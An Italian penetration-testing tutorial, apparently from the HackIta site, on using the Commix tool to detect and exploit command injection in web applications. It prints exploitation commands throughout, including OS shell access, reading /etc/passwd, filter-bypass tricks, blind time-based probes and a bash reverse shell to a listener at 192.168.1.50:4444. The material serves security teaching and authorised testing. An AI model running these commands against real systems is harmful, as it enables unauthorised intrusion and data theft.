tools

Commix: Automated Command Injection Exploitation Tool

Commix: Automated Command Injection Exploitation Tool

Commix è un tool automatizzato per identificare ed exploitare vulnerabilità di command injection in applicazioni web. Supporta tecniche blind, time-based e file-based per ottenere RCE durante penetration test.

  • Pubblicato il 2026-02-10
  • Tempo di lettura: 3 min

Commix è il tool di riferimento per identificare e sfruttare vulnerabilità di command injection nelle web application. Quando un parametro viene passato direttamente a funzioni di sistema senza sanitizzazione, Commix rileva l’injection point e fornisce una shell interattiva sul sistema target. In questa guida impari a usare Commix dalla detection alla post-exploitation.

Cos’è Command Injection #

La command injection si verifica quando input utente viene concatenato a comandi di sistema. Un classico esempio vulnerabile in PHP:

php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

Un attaccante può iniettare ;id dopo l’IP per eseguire comandi arbitrari. A differenza di SQL injection che attacca il database, la command injection colpisce direttamente il sistema operativo, rendendo l’impatto potenzialmente devastante.

Installazione e Setup #

Su Kali Linux Commix è preinstallato:

bash
commix --version

Per installazione manuale:

bash
git clone https://github.com/commixproject/commix.git /opt/commix
cd /opt/commix
pip3 install -r requirements.txt

L’esecuzione avviene direttamente con Python:

bash
python3 /opt/commix/commix.py --help

Detection Automatica #

Commix testa automaticamente varie tecniche di injection su ogni parametro. La sintassi base richiede solo l’URL con il parametro da testare:

bash
commix --url="http://target.com/ping.php?ip=127.0.0.1"

Commix analizza il parametro e tenta diverse tecniche di injection. Quando trova una vulnerabilità, mostra il payload funzionante:

text
[+] The parameter 'ip' seems injectable via classic command injection technique.
    Payload: ;echo RANDOMSTRING$(echo RANDOMSTRING)RANDOMSTRING

Ottenere una Shell #

Una volta identificata l’injection, richiedi una pseudo-shell interattiva:

bash
commix --url="http://target.com/ping.php?ip=127.0.0.1" --os-shell

La shell permette di eseguire comandi sul sistema target:

text
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

os-shell> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Per comandi singoli senza shell interattiva:

bash
commix --url="http://target.com/ping.php?ip=127.0.0.1" --os-cmd="id"

Tecniche di Injection #

Commix implementa multiple tecniche per aggirare diversi tipi di filtri.

Classic - Usa separatori standard come ;, |, &&, || per concatenare comandi.

Time-based (Blind) - Quando l’output non è visibile, rileva l’injection tramite delay controllati con sleep.

Results-based - Quando l’output del comando appare nella response HTTP.

File-based - Scrive l’output su un file accessibile via web quando le altre tecniche falliscono.

Specifica la tecnica da usare:

bash
commix --url="http://target.com/ping.php?ip=127.0.0.1" --technique=c    # Classic
commix --url="http://target.com/ping.php?ip=127.0.0.1" --technique=t    # Time-based
commix --url="http://target.com/ping.php?ip=127.0.0.1" --technique=f    # File-based

Parametri POST e Headers #

Commix non è limitato a GET parameters. Per testare form POST:

bash
commix --url="http://target.com/dns.php" --data="domain=example.com"

Per injection negli header HTTP (utile quando l’applicazione logga header come User-Agent):

bash
commix --url="http://target.com/log.php" --headers="User-Agent: *"

L’asterisco indica a Commix di testare quel punto specifico.

Injection nel cookie:

bash
commix --url="http://target.com/profile.php" --cookie="session=abc; user=*"

Bypass Filtri #

Quando l’applicazione implementa filtri basilari, Commix offre tecniche di evasion.

Encoding #

bash
commix --url="http://target.com/?ip=127.0.0.1" --tamper=base64encode
commix --url="http://target.com/?ip=127.0.0.1" --tamper=hexencode

Level di Testing #

Aumentando il level, Commix testa payload più aggressivi:

bash
commix --url="http://target.com/?ip=127.0.0.1" --level=3

Level 1 è il default, level 3 include test su tutti gli header HTTP.

Caratteri Alternativi #

Quando spazi o caratteri specifici sono filtrati, esistono bypass classici. Ad esempio, invece di spazi puoi usare $IFS in sistemi Unix:

text
cat$IFS/etc/passwd    # Equivalente a: cat /etc/passwd

Commix tenta automaticamente molte di queste variazioni.

Integrazione con Altri Tool #

Burp Suite #

Esporta una request da Burp Suite e usala con Commix:

bash
commix -r request.txt --os-shell

Il file request.txt contiene la richiesta HTTP completa catturata da Burp.

Passa il traffico attraverso Burp per analisi:

bash
commix --url="http://target.com/?ip=127.0.0.1" --proxy="http://127.0.0.1:8080"

Reverse Shell #

La pseudo-shell di Commix è utile ma limitata. Per una shell completa, inietta una reverse shell:

bash
os-shell> bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'

Prepara il listener sulla tua macchina:

bash
nc -lvnp 4444

Scenari Pratici #

Scenario 1: Utility di Rete Vulnerabile #

Molte applicazioni web offrono utility come ping, traceroute o nslookup che internamente chiamano comandi di sistema.

Identifica l’injection point:

bash
commix --url="http://target.com/network.php?host=google.com&action=ping" --batch

L’opzione --batch usa risposte di default senza richiedere input interattivo.

Scenario 2: File Manager Web #

Applicazioni che manipolano file spesso usano comandi come mv, cp, zip:

bash
commix --url="http://target.com/files.php" --data="filename=test.txt&action=compress"

Scenario 3: Blind Injection #

Quando l’output non è visibile, usa time-based:

bash
commix --url="http://target.com/log.php?message=test" --technique=t

Se Commix rileva delay anomali, conferma l’injection anche senza output visibile.

Detection Manuale #

Prima di lanciare Commix, un test manuale veloce conferma se il parametro è promettente:

text
http://target.com/ping.php?ip=127.0.0.1;sleep+5

Se la risposta ritarda di 5 secondi, c’è probabilmente command injection. A quel punto Commix automatizza l’exploitation.

Separatori da provare:

  • ; - Terminatore comando Unix
  • | - Pipe
  • || - OR (esegue se il primo fallisce)
  • && - AND (esegue se il primo ha successo)
  • %0a - Newline URL-encoded

Limiti e Considerazioni #

Commix è potente ma non infallibile. Alcuni scenari richiedono approcci manuali:

Filtri complessi - WAF sofisticati potrebbero richiedere bypass custom non coperti dai tamper script.

Injection in posizioni non standard - Se l’injection è in un XML, JSON complesso, o formato custom, Commix potrebbe non gestirlo correttamente.

Timeout network - Per blind injection su connessioni lente, aumenta il timeout con --timeout=30.

FAQ #

Commix vs test manuale?

Commix automatizza e velocizza, ma un test manuale iniziale aiuta a capire il contesto. Usali insieme.

Funziona su Windows?

Sì, Commix rileva automaticamente l’OS target e adatta i payload. I separatori Windows (&, |) sono diversi da Unix.

Come gestisco autenticazione?

Usa --cookie per sessioni attive o --auth-type e --auth-cred per HTTP Basic/Digest.

È rilevabile dai WAF?

Sì, i payload standard sono noti. Usa tamper scripts e tecniche time-based per essere meno rumoroso.

È legale usare Commix?

Solo su applicazioni autorizzate. Per penetration test web professionali, hackita.it/servizi.


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

Risorse: Commix GitHub | OWASP Command Injection

#command-injection

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.